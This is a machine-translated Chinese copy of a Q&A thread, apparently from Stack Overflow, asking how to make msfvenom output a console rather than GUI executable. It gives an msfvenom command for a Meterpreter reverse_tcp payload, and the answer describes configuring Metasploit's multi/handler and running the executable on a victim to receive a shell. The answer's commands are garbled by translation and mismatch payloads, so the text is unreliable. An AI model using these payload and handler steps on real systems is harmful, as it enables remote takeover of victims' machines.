常规的msfvenom会生成二进制文件,有谁知道如何生成PE32 executable (CONSOLE)二进制文件吗?
例如:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -f exe -o shellmet.exe
会生成一个PE32 executable (GUI)。
如果我想要一个PE32 executable (CONSOLE)可执行文件怎么办?
发布于 2017-11-14 15:06:45
msfvenom -p窗口/meterpreter/ LHOST=ip _tcp LPORT=port -f exe -o shellmet.exe
现在,我们将使用multi/handler,这是一个处理框架外部发起的漏洞的存根。
使用利用漏洞/多个/处理程序
当使用利用/多/处理程序模块时,我们仍然需要告诉它期望哪个有效负载,因此我们将其配置为与我们生成的可执行文件具有相同的设置。
设置有效负载windows/shell/reverse_tcp将LHOST设置为ip将LPORT设置为端口
现在我们已经做好了一切准备,我们要对多/处理程序运行exploit,并在受害者上执行我们生成的可执行文件。多个/处理程序为我们处理漏洞,并向我们提供shell。
希望它能帮上忙!
https://stackoverflow.com/questions/46898957
复制相似问题